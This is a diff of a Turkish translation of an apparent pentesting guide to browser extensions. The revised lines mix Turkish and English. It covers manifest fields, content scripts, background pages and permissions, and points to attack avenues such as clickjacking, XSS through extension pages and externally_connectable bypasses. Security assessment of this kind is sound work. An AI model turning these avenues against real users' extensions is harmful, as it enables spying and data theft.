|
Uzantının her bileşeni birbirinden **güçlü koruyucu sınırlarla** ayrılmıştır. Her bileşen **ayrı bir işletim sistemi sürecinde** çalışır. Content script'ler ve extension core'lar, çoğu işletim sistemi servisinin erişemediği **sandbox süreçlerde** çalışır.
|
||||||
|
|
||||||
Ayrıca, içerik scriptleri, **ayrı bir JavaScript yığını** içinde çalışarak ilişkili web sayfalarından ayrılır. İçerik scripti ve web sayfası, **aynı temel DOM'a erişime** sahiptir, ancak ikisi **asla JavaScript işaretçilerini değiş tokuş etmez**, bu da JavaScript işlevselliğinin sızmasını önler.
|
Ayrıca, content script'ler ilişkili oldukları web sayfalarından **ayrı bir JavaScript heap'inde çalışarak** ayrılır. Content script ile web sayfası **aynı alttaki DOM'a erişime** sahiptir, ancak ikisi **asla JavaScript pointer'ları alışverişi yapmaz**, bu da JavaScript işlevselliğinin leaking olmasını engeller.
|
||||||
|
|
||||||
## **`manifest.json`**
|
## **`manifest.json`**
|
||||||
|
|
||||||
Bir Chrome eklentisi, [.crx dosya uzantısına](https://www.lifewire.com/crx-file-2620391) sahip bir ZIP klasörüdür. Eklentinin çekirdeği, klasörün kökünde bulunan **`manifest.json`** dosyasıdır ve düzen, izinler ve diğer yapılandırma seçeneklerini belirtir.
|
A Chrome extension, [.crx file extension](https://www.lifewire.com/crx-file-2620391) olan bir ZIP klasörüdür. Uzantının çekirdeği, klasörün kökünde bulunan **`manifest.json`** dosyasıdır; bu dosya düzeni, izinleri ve diğer yapılandırma seçeneklerini belirtir.
|
||||||
|
|
||||||
Örnek:
|
Örnek:
|
||||||
```json
|
```json
|
||||||
@ -61,7 +61,7 @@ Bir Chrome eklentisi, [.crx dosya uzantısına](https://www.lifewire.com/crx-fil
|
|||||||
```
|
```
|
||||||
### `content_scripts`
|
### `content_scripts`
|
||||||
|
|
||||||
İçerik betikleri, kullanıcı **eşleşen bir sayfaya gittiğinde** **yüklenir**, bu durumda **`https://example.com/*`** ifadesine uyan ve **`*://*/*/business*`** regex'ine uymayan herhangi bir sayfa. Sayfanın [Belge Nesne Modeli (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) üzerinde keyfi erişime sahip olarak **sayfanın kendi betikleri gibi** çalışırlar.
|
Content scripts, kullanıcı **eşleşen bir sayfaya gittiğinde** **yüklenir**; bizim durumumuzda **`https://example.com/*`** ifadesiyle eşleşen ve **`*://*/*/business*`** regex'iyle eşleşmeyen herhangi bir sayfa. Bu script'ler **sayfanın kendi script'leri gibi** çalışır ve sayfanın [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) üzerinde her türlü erişime sahiptir.
|
||||||
```json
|
```json
|
||||||
"content_scripts": [
|
"content_scripts": [
|
||||||
{
|
{
|
||||||
@ -76,9 +76,9 @@ Bir Chrome eklentisi, [.crx dosya uzantısına](https://www.lifewire.com/crx-fil
|
|||||||
}
|
}
|
||||||
],
|
],
|
||||||
```
|
```
|
||||||
Daha fazla URL eklemek veya çıkarmak için **`include_globs`** ve **`exclude_globs`** kullanmak da mümkündür.
|
Diğer URL'leri dahil etmek veya hariç tutmak için **`include_globs`** ve **`exclude_globs`** kullanmak da mümkündür.
|
||||||
|
|
||||||
Bu, uzantının depolama alanından `message` değerini almak için [depolama API'sini](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanan bir açıklama butonu ekleyecek örnek bir içerik betiğidir.
|
Bu, [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanılarak uzantının depolamasından `message` değerini almak için sayfaya bir explain button ekleyecek örnek bir content script'tir.
|
||||||
```js
|
```js
|
||||||
chrome.storage.local.get("message", (result) => {
|
chrome.storage.local.get("message", (result) => {
|
||||||
let div = document.createElement("div")
|
let div = document.createElement("div")
|
||||||
@ -91,22 +91,22 @@ document.body.appendChild(div)
|
|||||||
```
|
```
|
||||||
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Bu butona tıklandığında, içerik betiği tarafından uzantı sayfalarına bir mesaj gönderilir; bu, [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) kullanılarak gerçekleştirilir. Bu, içerik betiğinin API'lere doğrudan erişimindeki sınırlamalardan kaynaklanmaktadır; `storage` bu istisnalardan biridir. Bu istisnaların ötesindeki işlevler için, içerik betiklerinin iletişim kurabileceği uzantı sayfalarına mesajlar gönderilir.
|
Bu düğmeye tıklandığında content script, [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) kullanarak extension sayfalarına bir mesaj gönderir. Bunun nedeni content script'in API'lara doğrudan erişimindeki kısıtlamadır; `storage` bu kısıtlamanın nadir istisnalarındandır. Bu istisnaların ötesindeki işlevsellik için, content script'lerin iletişim kurabildiği extension sayfalarına mesaj gönderilir.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Tarayıcıya bağlı olarak, içerik betiğinin yetenekleri biraz farklılık gösterebilir. Chromium tabanlı tarayıcılar için yetenekler listesi [Chrome Geliştiricileri belgelerinde](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) mevcuttur ve Firefox için [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) ana kaynak olarak hizmet etmektedir.\
|
> Tarayıcıya bağlı olarak, content script'in yetenekleri biraz değişiklik gösterebilir. Chromium tabanlı tarayıcılar için yetenekler listesi [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) adresinde, Firefox içinse birincil kaynak [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) olarak hizmet vermektedir.\
|
||||||
> Ayrıca, içerik betiklerinin arka plan betikleriyle iletişim kurma yeteneğine sahip olduğu ve bu sayede eylemler gerçekleştirebildiği ve yanıtları geri iletebildiği de dikkate değerdir.
|
> Ayrıca, content script'lerin background scripts ile iletişim kurma yeteneğine sahip olduğu ve böylece eylemler gerçekleştirebildikleri ve yanıtları iletebildikleri de kayda değerdir.
|
||||||
|
|
||||||
Chrome'da içerik betiklerini görüntülemek ve hata ayıklamak için, Chrome geliştirici araçları menüsüne Seçenekler > Daha fazla araç > Geliştirici araçları yoluyla veya Ctrl + Shift + I tuşlarına basarak erişilebilir.
|
Chrome'da content script'leri görüntülemek ve hata ayıklamak için Chrome developer tools menüsüne Options > More tools > Developer tools yoluyla veya Ctrl + Shift + I tuşlarına basarak erişilebilir.
|
||||||
|
|
||||||
Geliştirici araçları görüntülendiğinde, **Kaynak sekmesine** tıklanmalı ve ardından **İçerik Betikleri** sekmesi seçilmelidir. Bu, çeşitli uzantılardan çalışan içerik betiklerinin gözlemlenmesini ve yürütme akışını izlemek için kesme noktalarının ayarlanmasını sağlar.
|
Developer tools görüntülendiğinde **Source tab** tıklanmalı, ardından **Content Scripts** sekmesi seçilmelidir. Bu, çeşitli extension'lardan çalışan content script'leri gözlemlemeye ve yürütme akışını izlemek için breakpoint'ler ayarlamaya olanak tanır.
|
||||||
|
|
||||||
### Enjekte edilmiş içerik betikleri
|
### Injected content scripts
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> **İçerik Betikleri zorunlu değildir**; ayrıca **dinamik olarak** **betik enjekte etmek** ve **programatik olarak** web sayfalarına enjekte etmek de mümkündür; bu, **`tabs.executeScript`** aracılığıyla gerçekleştirilir. Bu, aslında daha **detaylı kontroller** sağlar.
|
> **Content Scripts aren't mandatory** — ayrıca script'leri dinamik olarak enjekte etmek ve web sayfalarına programatik olarak enjekte etmek de **`tabs.executeScript`** ile mümkündür. Bu aslında daha ince kontroller sağlar.
|
||||||
|
|
||||||
Bir içerik betiğinin programatik olarak enjekte edilmesi için, uzantının betiklerin enjekte edileceği sayfa için [host izinlerine](https://developer.chrome.com/docs/extensions/reference/permissions) sahip olması gerekmektedir. Bu izinler, uzantının manifestosunda **talep edilerek** veya geçici olarak [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) aracılığıyla güvence altına alınabilir.
|
Bir content script'in programatik olarak enjekte edilmesi için, script'lerin enjekte edileceği sayfa için extension'ın [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) olması gerekir. Bu izinler, uzantının manifestinde bunları **talep ederek** ya da geçici olarak [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) aracılığıyla güvence altına alınabilir.
|
||||||
|
|
||||||
#### Örnek activeTab tabanlı uzantı
|
#### Örnek activeTab tabanlı uzantı
|
||||||
```json:manifest.json
|
```json:manifest.json
|
||||||
@ -125,7 +125,7 @@ Bir içerik betiğinin programatik olarak enjekte edilmesi için, uzantının be
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- **Tıklama ile bir JS dosyası enjekte et:**
|
- **Tıklanınca bir JS dosyası enjekte et:**
|
||||||
```javascript
|
```javascript
|
||||||
// content-script.js
|
// content-script.js
|
||||||
document.body.style.backgroundColor = "orange"
|
document.body.style.backgroundColor = "orange"
|
||||||
@ -138,7 +138,7 @@ files: ["content-script.js"],
|
|||||||
})
|
})
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
- **Tıklamada bir fonksiyon enjekte et:**
|
- **Bir fonksiyon enjekte et** tıklama üzerine:
|
||||||
```javascript
|
```javascript
|
||||||
//service-worker.js - Inject a function
|
//service-worker.js - Inject a function
|
||||||
function injectedFunction() {
|
function injectedFunction() {
|
||||||
@ -152,7 +152,7 @@ func: injectedFunction,
|
|||||||
})
|
})
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
#### Örnek ile betik izinleri
|
#### Betik izinleriyle örnek
|
||||||
```javascript
|
```javascript
|
||||||
// service-workser.js
|
// service-workser.js
|
||||||
chrome.scripting.registerContentScripts([
|
chrome.scripting.registerContentScripts([
|
||||||
@ -167,19 +167,19 @@ js: ["contentScript.js"],
|
|||||||
// Another example
|
// Another example
|
||||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
||||||
```
|
```
|
||||||
Daha fazla URL eklemek veya çıkarmak için **`include_globs`** ve **`exclude_globs`** kullanmak da mümkündür.
|
Daha fazla URL'i dahil etmek veya hariç tutmak için **`include_globs`** ve **`exclude_globs`** kullanılabilir.
|
||||||
|
|
||||||
### İçerik Scriptleri `run_at`
|
### İçerik Scriptleri `run_at`
|
||||||
|
|
||||||
`run_at` alanı **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini** kontrol eder. Tercih edilen ve varsayılan değer `"document_idle"`'dır.
|
The `run_at` field controls **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini**. Tercih edilen ve varsayılan değer `"document_idle"`'dir.
|
||||||
|
|
||||||
Olası değerler şunlardır:
|
Olası değerler:
|
||||||
|
|
||||||
- **`document_idle`**: Mümkün olduğunda
|
- **`document_idle`**: Mümkün olduğunda
|
||||||
- **`document_start`**: `css`'den herhangi bir dosya yüklendikten sonra, ancak başka bir DOM oluşturulmadan veya başka bir script çalıştırılmadan önce.
|
- **`document_start`**: `css` içindeki dosyaların ardından, ancak başka herhangi bir DOM oluşturulmadan veya başka bir script çalıştırılmadan önce.
|
||||||
- **`document_end`**: DOM tamamlandıktan hemen sonra, ancak resimler ve çerçeveler gibi alt kaynaklar yüklenmeden önce.
|
- **`document_end`**: DOM tamamlandıktan hemen sonra, ancak resimler ve frame'ler gibi alt kaynaklar yüklenmeden önce.
|
||||||
|
|
||||||
#### `manifest.json` aracılığıyla
|
#### `manifest.json` ile
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "My extension",
|
"name": "My extension",
|
||||||
@ -195,7 +195,7 @@ Olası değerler şunlardır:
|
|||||||
}
|
}
|
||||||
|
|
||||||
```
|
```
|
||||||
**`service-worker.js`** üzerinden
|
Üzerinden **`service-worker.js`**
|
||||||
```javascript
|
```javascript
|
||||||
chrome.scripting.registerContentScripts([
|
chrome.scripting.registerContentScripts([
|
||||||
{
|
{
|
||||||
@ -208,18 +208,18 @@ js: ["contentScript.js"],
|
|||||||
```
|
```
|
||||||
### `background`
|
### `background`
|
||||||
|
|
||||||
İçerik betikleri tarafından gönderilen mesajlar, uzantının bileşenlerini koordine etmede merkezi bir rol oynayan **arka plan sayfası** tarafından alınır. Özellikle, arka plan sayfası uzantının ömrü boyunca devam eder, doğrudan kullanıcı etkileşimi olmadan gizlice çalışır. Kendi Belge Nesne Modeli (DOM) vardır, bu da karmaşık etkileşimler ve durum yönetimi sağlar.
|
İçerik script'leri tarafından gönderilen mesajlar, eklentinin bileşenlerini koordine etmede merkezi bir rol oynayan **arka plan sayfası** tarafından alınır. Özellikle, arka plan sayfası eklentinin yaşam süresi boyunca kalıcıdır ve doğrudan kullanıcı etkileşimi olmadan arka planda çalışır. Kendi Belge Nesne Modeli (DOM)'una sahiptir; bu, karmaşık etkileşimlere ve durum yönetimine olanak tanır.
|
||||||
|
|
||||||
**Ana Noktalar**:
|
**Önemli Noktalar**:
|
||||||
|
|
||||||
- **Arka Plan Sayfası Rolü:** Uzantının sinir merkezi olarak hareket eder, uzantının çeşitli parçaları arasında iletişim ve koordinasyonu sağlar.
|
- **Arka Plan Sayfası Rolü:** Eklenti için sinir merkezi görevi görür; eklentinin farklı parçaları arasında iletişim ve koordinasyonu sağlar.
|
||||||
- **Süreklilik:** Kullanıcıya görünmez, ancak uzantının işlevselliği için hayati bir varlıktır.
|
- **Süreklilik:** Kullanıcı tarafından görünmeyen, ancak eklentinin işlevselliği için ayrılmaz olan sürekli bir bileşendir.
|
||||||
- **Otomatik Oluşturma:** Açıkça tanımlanmadığı takdirde, tarayıcı otomatik olarak bir arka plan sayfası oluşturur. Bu otomatik oluşturulan sayfa, uzantının manifestosunda belirtilen tüm arka plan betiklerini içerecek şekilde, uzantının arka plan görevlerinin kesintisiz çalışmasını sağlar.
|
- **Otomatik Oluşturma:** Açıkça tanımlanmadığında tarayıcı otomatik olarak bir arka plan sayfası oluşturur. Bu otomatik oluşturulan sayfa, manifestte belirtilen tüm background scripts'i içerecek ve eklentinin arka plan görevlerinin sorunsuz çalışmasını sağlayacaktır.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Tarayıcının açıkça belirtilmediğinde otomatik olarak bir arka plan sayfası oluşturma kolaylığı, gerekli tüm arka plan betiklerinin entegre edilmesini ve çalışır durumda olmasını sağlar, uzantının kurulum sürecini kolaylaştırır.
|
> Tarayıcının (açıkça belirtilmediğinde) otomatik olarak bir arka plan sayfası oluşturmasının sağladığı kolaylık, gerekli tüm background scripts'in entegre edilip çalışır durumda olmasını sağlayarak eklentinin kurulum sürecini sadeleştirir.
|
||||||
|
|
||||||
Örnek arka plan betiği:
|
Örnek background script:
|
||||||
```js
|
```js
|
||||||
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
|
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
|
||||||
if (request == "explain") {
|
if (request == "explain") {
|
||||||
@ -227,34 +227,35 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
[runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) mesajları dinlemek için kullanılır. Bir `"explain"` mesajı alındığında, [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) kullanarak yeni bir sekmede bir sayfa açar.
|
It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab.
|
||||||
|
|
||||||
Arka plan betiğini hata ayıklamak için **uzantı ayrıntılarına gidip hizmet çalışanını inceleyebilirsiniz,** bu, arka plan betiği ile geliştirici araçlarını açacaktır:
|
To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script:
|
||||||
|
|
||||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Seçenek sayfaları ve diğerleri
|
### Options pages and other
|
||||||
|
|
||||||
Tarayıcı uzantıları çeşitli türde sayfalar içerebilir:
|
Browser extensions can contain various kinds of pages:
|
||||||
|
|
||||||
- **Eylem sayfaları**, uzantı simgesine tıklandığında **açılır menüde** görüntülenir.
|
- **Action pages** are displayed in a **drop-down when the extension ico**n is clicked.
|
||||||
- Uzantının **yeni bir sekmede yükleyeceği sayfalar**.
|
- Pages that the extension will **load in a new tab**.
|
||||||
- **Seçenek Sayfaları**: Bu sayfa tıklandığında uzantının üstünde görüntülenir. Önceki manifestoda benim durumumda bu sayfaya `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` adresinden veya tıklayarak erişebildim:
|
- **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking:
|
||||||
|
|
||||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Bu sayfaların, ihtiyaç duyulduğunda dinamik içerik yükledikleri için arka plan sayfaları gibi kalıcı olmadığını unutmayın. Bununla birlikte, arka plan sayfasıyla belirli yetenekleri paylaşırlar:
|
Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page:
|
||||||
|
|
||||||
- **İçerik Betikleri ile İletişim:** Arka plan sayfasına benzer şekilde, bu sayfalar içerik betiklerinden mesaj alabilir, uzantı içinde etkileşimi kolaylaştırır.
|
- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension.
|
||||||
- **Uzantıya Özgü API'lere Erişim:** Bu sayfalar, uzantı için tanımlanan izinlere tabi olarak uzantıya özgü API'lere kapsamlı erişim sağlar.
|
- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension.
|
||||||
|
|
||||||
### `permissions` & `host_permissions`
|
### `permissions` & `host_permissions`
|
||||||
|
|
||||||
**`permissions`** ve **`host_permissions`**, uzantının hangi **izinlere** sahip olduğunu (depolama, konum...) ve hangi web sayfalarında geçerli olduğunu belirten `manifest.json` dosyasındaki girişlerdir.
|
**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**.
|
||||||
|
|
||||||
Tarayıcı uzantıları oldukça **ayrıcalıklı** olabileceğinden, kötü niyetli bir uzantı veya ele geçirilmiş bir uzantı, saldırgana **hassas bilgileri çalmak ve kullanıcıyı gözetlemek için farklı yollar** sağlayabilir.
|
As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**.
|
||||||
|
|
||||||
|
Check how these settings work and how they could get abused in:
|
||||||
|
|
||||||
Bu ayarların nasıl çalıştığını ve nasıl kötüye kullanılabileceğini kontrol edin:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browext-permissions-and-host_permissions.md
|
browext-permissions-and-host_permissions.md
|
||||||
@ -262,13 +263,13 @@ browext-permissions-and-host_permissions.md
|
|||||||
|
|
||||||
### `content_security_policy`
|
### `content_security_policy`
|
||||||
|
|
||||||
Bir **içerik güvenlik politikası**, `manifest.json` içinde de tanımlanabilir. Eğer tanımlıysa, **açık bir şekilde savunmasız** olabilir.
|
A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**.
|
||||||
|
|
||||||
Tarayıcı uzantı sayfaları için varsayılan ayar oldukça kısıtlayıcıdır:
|
The default setting for browser extension pages is rather restrictive:
|
||||||
```bash
|
```bash
|
||||||
script-src 'self'; object-src 'self';
|
script-src 'self'; object-src 'self';
|
||||||
```
|
```
|
||||||
Daha fazla bilgi için CSP ve potansiyel bypass'lar hakkında kontrol edin:
|
CSP ve olası bypass'lar hakkında daha fazla bilgi için bakınız:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../content-security-policy-csp-bypass/
|
../content-security-policy-csp-bypass/
|
||||||
@ -276,7 +277,7 @@ Daha fazla bilgi için CSP ve potansiyel bypass'lar hakkında kontrol edin:
|
|||||||
|
|
||||||
### `web_accessible_resources`
|
### `web_accessible_resources`
|
||||||
|
|
||||||
Bir web sayfasının bir Tarayıcı Uzantısının sayfasına, örneğin bir `.html` sayfasına erişebilmesi için, bu sayfanın `manifest.json` dosyasındaki **`web_accessible_resources`** alanında belirtilmesi gerekir.\
|
Bir web sayfasının Browser Extension'ın bir sayfasına erişebilmesi için, örneğin bir `.html` sayfası, bu sayfanın `manifest.json` içindeki **`web_accessible_resources`** alanında belirtilmiş olması gerekir.\
|
||||||
Örneğin:
|
Örneğin:
|
||||||
```javascript
|
```javascript
|
||||||
{
|
{
|
||||||
@ -294,71 +295,72 @@ Bir web sayfasının bir Tarayıcı Uzantısının sayfasına, örneğin bir `.h
|
|||||||
...
|
...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Bu sayfalara şu URL'ler üzerinden erişilebilir:
|
Bu sayfalara şu şekilde bir URL ile erişilebilir:
|
||||||
```
|
```
|
||||||
chrome-extension://<extension-id>/message.html
|
chrome-extension://<extension-id>/message.html
|
||||||
```
|
```
|
||||||
Kamu uzantılarında **extension-id erişilebilir**:
|
Herkese açık extension'larda **extension-id erişilebilir**:
|
||||||
|
|
||||||
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ancak, `manifest.json` parametresi **`use_dynamic_url`** kullanılıyorsa, bu **id dinamik olabilir**.
|
Ancak, `manifest.json` parametresi **`use_dynamic_url`** kullanılıyorsa, bu **id dinamik olabilir**.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Burada bir sayfa belirtilse bile, **Content Security Policy** sayesinde **ClickJacking'e karşı korunmuş** olabileceğini unutmayın. Bu nedenle, bir ClickJacking saldırısının mümkün olduğunu doğrulamadan önce bunu (frame-ancestors bölümü) kontrol etmeniz gerekir.
|
> Burada bir sayfa belirtilmiş olsa bile, bu sayfa **ClickJacking'e karşı korunuyor** olabilir; bunun nedeni **Content Security Policy**'dir. Bu yüzden bir ClickJacking saldırısının mümkün olduğunu doğrulamadan önce onu (frame-ancestors bölümü) kontrol etmeniz gerekir.
|
||||||
|
|
||||||
|
Bu sayfalara erişim izni verilmesi, bu sayfaları **potansiyel olarak ClickJacking'e açık** hale getirebilir:
|
||||||
|
|
||||||
Bu sayfalara erişim izni verilmesi, bu sayfaları **potansiyel olarak savunmasız ClickJacking** hale getirir:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
browext-clickjacking.md
|
browext-clickjacking.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Bu sayfaların yalnızca uzantı tarafından yüklenmesine ve rastgele URL'ler tarafından yüklenmesine izin vermek, ClickJacking saldırılarını önleyebilir.
|
> Bu sayfaların sadece extension tarafından yüklenmesine izin verilip rastgele URL'lerden yüklenmesine izin verilmemesi ClickJacking saldırılarını engelleyebilir.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> **`web_accessible_resources`** sayfalarının ve uzantının diğer sayfalarının da **arka plan betikleriyle iletişim kurma** yeteneğine sahip olduğunu unutmayın. Bu nedenle, bu sayfalardan biri **XSS**'ye karşı savunmasızsa, daha büyük bir güvenlik açığı açabilir.
|
> **`web_accessible_resources`** içindeki sayfaların ve extension'ın diğer sayfalarının **background scripts ile iletişim kurabildiğini** unutmayın. Bu nedenle bu sayfalardan biri **XSS**'e karşı savunmasızsa daha büyük bir zafiyete yol açabilir.
|
||||||
>
|
>
|
||||||
> Ayrıca, yalnızca **`web_accessible_resources`** içinde belirtilen sayfaları iframelerde açabileceğinizi, ancak yeni bir sekmeden uzantının ID'sini bilerek herhangi bir sayfaya erişmenin mümkün olduğunu unutmayın. Bu nedenle, aynı parametreleri kötüye kullanan bir XSS bulunursa, sayfa **`web_accessible_resources`** içinde yapılandırılmamış olsa bile kötüye kullanılabilir.
|
> Ayrıca, **`web_accessible_resources`** içinde belirtilen sayfaları iframe içinde açabileceğinizi, ancak yeni bir sekmeden extension ID bilinerek extension içindeki herhangi bir sayfaya erişilebileceğini unutmayın. Bu yüzden aynı parametreleri kötüye kullanan bir XSS bulunursa, sayfa **`web_accessible_resources`** içinde yapılandırılmış olmasa bile istismar edilebilir.
|
||||||
|
|
||||||
### `externally_connectable`
|
### `externally_connectable`
|
||||||
|
|
||||||
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) gereği, `"externally_connectable"` manifest özelliği, **hangi uzantıların ve web sayfalarının** uzantınıza [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) ve [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) aracılığıyla bağlanabileceğini belirtir.
|
A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally_connectable), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||||
|
|
||||||
- Eğer **`externally_connectable`** anahtarı uzantınızın manifestosunda **belirtilmemişse** veya **`"ids": ["*"]`** olarak belirtilmişse, **tüm uzantılar bağlanabilir, ancak hiçbir web sayfası bağlanamaz**.
|
- Eğer extension'ınızın manifest'inde **`externally_connectable`** anahtarı **tanımlı değilse** veya **`"ids": ["*"]`** olarak tanımlanmışsa, **tüm extension'lar bağlanabilir, ancak hiçbir web sayfası bağlanamaz**.
|
||||||
- Eğer **belirli ID'ler belirtilmişse**, örneğin `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **yalnızca o uygulamalar** bağlanabilir.
|
- Eğer **belirli ID'ler belirtilmişse**, örneğin `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **sadece bu uygulamalar** bağlanabilir.
|
||||||
- Eğer **eşleşmeler** belirtilmişse, o web uygulamaları bağlanabilecektir:
|
- Eğer **matches** belirtilmişse, bu web uygulamaları bağlanabilecektir:
|
||||||
```json
|
```json
|
||||||
"matches": [
|
"matches": [
|
||||||
"https://*.google.com/*",
|
"https://*.google.com/*",
|
||||||
"*://*.chromium.org/*",
|
"*://*.chromium.org/*",
|
||||||
```
|
```
|
||||||
- Eğer boş olarak belirtilmişse: **`"externally_connectable": {}`**, hiçbir uygulama veya web bağlantı kuramayacaktır.
|
- Eğer boş olarak belirtilmişse: **`"externally_connectable": {}`**, hiçbir app veya web bağlanamayacaktır.
|
||||||
|
|
||||||
Burada belirtilen **daha az uzantı ve URL**, **saldırı yüzeyinin** **daha küçük** olacağı anlamına gelir.
|
The **less extensions and URLs** indicated here, the **smaller the attack surface** will be.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Eğer bir web sayfası **XSS veya ele geçirme** için **`externally_connectable`** içinde belirtilmişse, bir saldırgan **arka plan scriptine doğrudan mesaj gönderebilir**, İçerik Scriptini ve CSP'yi tamamen atlayarak.
|
> Eğer **`externally_connectable`** içinde **XSS veya takeover'a açık** bir web sayfası belirtilmişse, bir saldırgan **mesajları doğrudan background script'e gönderebilecek**, Content Script ve onun CSP'sini tamamen atlayarak.
|
||||||
>
|
>
|
||||||
> Bu nedenle, bu **çok güçlü bir atlatmadır**.
|
> Bu yüzden bu **çok güçlü bir bypass**.
|
||||||
>
|
>
|
||||||
> Dahası, eğer istemci kötü niyetli bir uzantı yüklerse, bu uzantının savunmasız uzantı ile iletişim kurmasına izin verilse bile, **izin verilen bir web sayfasına XSS verisi enjekte edebilir** veya **`WebRequest`** veya **`DeclarativeNetRequest`** API'lerini kötüye kullanarak hedef bir alanda istekleri manipüle edebilir ve bir sayfanın **JavaScript dosyası** isteğini değiştirebilir. (Hedef sayfadaki CSP bu saldırıları engelleyebilir). Bu fikir [**bu yazıdan**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) gelmektedir.
|
> Dahası, eğer client rouge bir extension kurarsa, vulnerable extension ile iletişim kurmasına izin verilmese bile, izin verilen bir web sayfasına **XSS data** enjekte edebilir veya hedeflenen bir domain üzerindeki istekleri manipüle etmek için **`WebRequest`** veya **`DeclarativeNetRequest`** API'lerini kötüye kullanarak bir sayfanın **JavaScript file** isteğini değiştirebilir. (Hedef sayfadaki CSP'nin bu saldırıları engelleyebileceğini unutmayın). Bu fikir [**bu writeup'tan**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) geliyor.
|
||||||
|
|
||||||
